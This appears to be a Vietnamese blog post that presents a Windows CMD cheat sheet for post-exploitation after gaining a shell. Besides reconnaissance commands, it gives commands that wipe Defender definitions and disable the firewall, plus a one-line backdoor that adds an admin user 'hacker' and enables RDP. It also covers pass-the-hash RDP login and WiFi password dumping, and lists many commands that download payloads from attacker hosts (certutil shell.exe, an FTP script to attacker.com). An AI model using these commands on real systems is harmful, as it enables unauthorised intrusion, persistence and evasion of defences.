Trong bài viết này, mình sẽ liệt kê ra các lệnh CMD thông dụng và cơ bản nhất mà các pentester Windows hay sử dụng. Do bài viết này mang nhiều tính chất kỹ thuật, nên mình sẽ không giải thích chi tiết các câu lệnh đó. Mà chỉ nói sơ qua về tác dụng của lệnh. Nếu bạn không sử dụng được bất cứ lệnh nào thì 1 là bạn nhập sai cú pháp, 2 là lệnh chưa được cài đặt trên hệ thống nên không sử dụng được.
Các lệnh CMD liên quan đến System cho Pentester
Trước tiên tại sao khi Hack vào Windows bạn cần biết những lệnh cơ bản này. Bởi vì khi đã kích hoạt được Shell trên Windows, việc tiếp theo là bạn cần tắt Firewall, tạo thêm User dự phòng để sau này Login lại…
Vì thế nắm vững các lệnh dưới đây các Pentester sẽ tiết kiệm nhiều thời gian hơn khi khai thác lỗ hổng Windows.
Thông tin của phiên bản và bản vá
Xem kiến trúc hệ thống: wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
Thông tin đầy đủ của hệ thống: systeminfo
Xem tên hệ điều hành và phiên bản: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Xem bản vá: wmic qfe get Caption,Description,HotFixID,InstalledOn
Hostname: hostname
Xem driver của bên thứ ba: DRIVERQUERY
Environment
Liệt kê tất cả các biến môi trường: set
Một số biến env cần biết:
- COMPUTERNAME: Tên máy tính
- TEMP/TMP: Thư mục Temp (lưu file tạm)
- USERNAME: Tên username
- HOMEPATH/USERPROFILE: Đường dẫn Home
- windir: C:\Windows
- LOGONSERVER: Tên của domain controller
- USERDNSDOMAIN: Domain sử dụng DNS
- USERDOMAIN: Tên Domain
Yêu cầu DNS cho PC: nslookup %LOGONSERVER%.%USERDNSDOMAIN%
Ổ đĩa được kết nối
wmic logicaldisk get caption 2
wmic logicaldisk get caption,description,providername
Anti Virus
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
sc query windefend
Xóa các quy tắc bảo mật của Defender
(hữu ý cho máy không có internet): "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Recycle Bin
dir C:\$Recycle.Bin /s /b
Processes, Services & Phần mềm
Chi tiết các nhiệm vụ đã lên lịch:
schtasks /query /fo LIST /v
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Danh sách các processes: tasklist /V
Các processes bật services: tasklist /SVC
Các Services Windows đang hoạt động: net start
Danh sách các services: wmic service list brief
hoặc sc query
Các phần mềm 64bit đã cài đặt: dir /a “C:\Program Files”
Các phần mềm 32bit đã cài đặt: dir /a "C:\Program Files (x86)"
Các phần mềm đã cài đặt: reg query HKEY_LOCAL_MACHINE\SOFTWARE
Thông tin Domain
echo %USERDOMAIN% #Tên Domain
echo %USERDNSDOMAIN% #Tên Domain khi máy tính có đăng nhập vào Domain
echo %logonserver% #Tên domain controller
set logonserver #Tên domain controller
set log #Tên domain controller
net groups /domain #Danh sách domain group
net group "domain computers" /domain #Danh sách PC đã kết nối với domain
net view /domain #Danh sách PC của domain
nltest /dclist:<DOMAIN> #Danh sách domain controllers
net group "Domain Controllers" /domain #Danh sách tài khoản PC của domains controllers
net group "Domain Admins" /domain #Danh sách user có đặc quyền quản trị domain
net localgroup administrators /domain #Danh sách các admin group bên trong domain (bao gồm cả group "Domain Admins")
net user /domain #Danh sách tất cả user của domain
net user <ACCOUNT_NAME> /domain #Thông tin về user
net accounts /domain #Xem mật khẩu và giới hạn đăng nhập hiện tại của domain
nltest /domain_trust #Lập bản đồ các mối quan hệ của domain
Logs & Events
Thực hiện truy vấn bảo mật bằng thông tin đăng nhập: wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
Users & Groups
Users
whoami /all #Tất cả thông tin về bạn
whoami /priv #Chỉ hiển thị các đặc quyềnnet users #Tất cả các user
dir /b /ad "C:\Users"
net user %username% #Thông tin về user (bạn)
net accounts #Thông tin về mật khẩu
qwinsta #Có ai khác đã đăng nhập không?
cmdkey /list #Danh sách các chứng chỉ
net user /add [username] [password] #Tạo user
#Mở cmd.exe mới với các creds mới (để mạo danh trong mạng)
runas /netonly /user:<USERNAME>\administrator cmd
tại đây#Kiểm tra phiên đăng nhập hiện tại với tư cách là quản trị viên bằng cách sử dụng phiên đăng nhập từ sysinternals. Đọc thêm
logonsessions.exe
logonsessions64.exe
Groups
#Local
net localgroup #Tất cả các group tồn tạinet localgroup Administrators #Thông tin về group group (admins)
net localgroup administrators [username] /add #Thêm người dùng vào administrators
#Domain
net group /domain #Thông tin về group domain
net group /domain <domain_group_name> #Người dùng thuộc group
Danh sách các sessions
qwinsta
klist sessions
Chính sách mật khẩu
net accounts
Thêm người dùng vào group
# Thêm user domain vào Group Domain Admins
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Thêm local user vào group local Admins
net user username password /ADD
net localgroup Administrators username /ADD
# Thêm user vào các group khác:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Network
Interfaces, Routes, Ports, Hosts và DNSCache
ipconfig /all #Thông tin về interfaces
route print #Xem các routes hiện cóó
arp -a #Thông tin về host
netstat -ano #Các port đang mởở
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Thông tin về firewall và các port đang mở:
netsh firewall show state
netsh advfirewall firewall show rule name=all
netsh firewall show config # Thông tin firewall
Netsh Advfirewall show allprofiles
Tắt và bật firewall:
NetSh Advfirewall set allprofiles state off #Tắt Firewall
NetSh Advfirewall set allprofiles state on #Bật Firewall
netsh firewall set opmode disable #Tắt firewall
Cách mở port:
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
Bật Remote Desktop:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #Không cần thiết
::sc config TermService start= auto #Không cần thiết::net start Termservice #Không cần thiết
Bật Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
Combo ninja (user admin mới, cho phép RDP + Rassistance + Firewall)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup “Remote Desktop Users” hacker /add & reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 “Remote Desktop” & netsh firewall set service remoteadmin enable
Kết nối với RDP (sử dụng hash hoặc mẩt khẩu)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Share
net view #Lấy danh sách máy tính
net view /all /domain [domainname] #Shares trên domains
net view \\computer /ALL #danh sách máy tính tham gia share
net use x: \\computer\share #Kết nối ổ với share
net share #Kiểm tra share hiện tại
Wifi
netsh wlan show profile #Xem SSID của wifi từng kết nối
netsh wlan show profile <SSID> key=clear #Xem mật khẩu wifi
SNMP
Đọc bài viết này để biết SNMP là gì?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Network Interfaces
ipconfig /all
ARP
arp -A
Download
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exeCertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.execertutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Desktopimgdownldr.exeset "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Hh.exe
HH.exe http://some.url/script.ps1
Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Squirrel.exe
squirrel.exe --download [url to package]
Update.exe
Update.exe --download [url to package]
Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Wsl.exe
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Misc
cd #Đường dẫn hiện tại
cd folder #Truy cập vào thư mục
dir #Danh sách các thư mục và file trong đường dẫn hiện tại
dir /a:h *path #Danh sách các file ẩn
dir /s /b #Tất cả đường dẫn trong
time #Thời gian hiện tại
date #Ngày hiện tại
shutdown /r /t 0 #Tắt máy tính ngay lập tức
type <file> #Đọc file
Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
Ẩn file
attrib +h file #Bật ẩn file
attrib -h file #Tắt ẩn file
Cung cấp toàn quyền kiểm soát tệp mà bạn có
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Xóa quyền
Sao chép đệ quy filexcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
ADS (ADS là gì)
dir /r #Phát hiện ADS
more file.txt:ads.txt #Đọc ADS
powershell (Get-Content file.txt -Stream ads.txt)
Listen địa chỉ ACLs
Bạn có thể listen http://+:80/Temporary_Listen_Addresses/ mà không cần quyền adminnetsh http show urlacl
DNS shell
Bạn sử dụng một trong 2 tùy chọn sau:
Victim
kỹ thuật for /f tokens _**_: Cho phép mình thực hiện lệnh, lấy X từ đầu tiên của mỗi dòng và gửi nó qua DNS đến máy chủ của mình.
Bạn cũng có thể chuyển hướng đầu ra và sau đó đọc nó.
Gọi CMD từ code C
Trên đây là các lệnh pentest cmd cơ bản dành cho Windows, các bạn nào muốn tìm hiểu sâu về pentester thì có thể vào server Discord mới của Anonyviet nhé.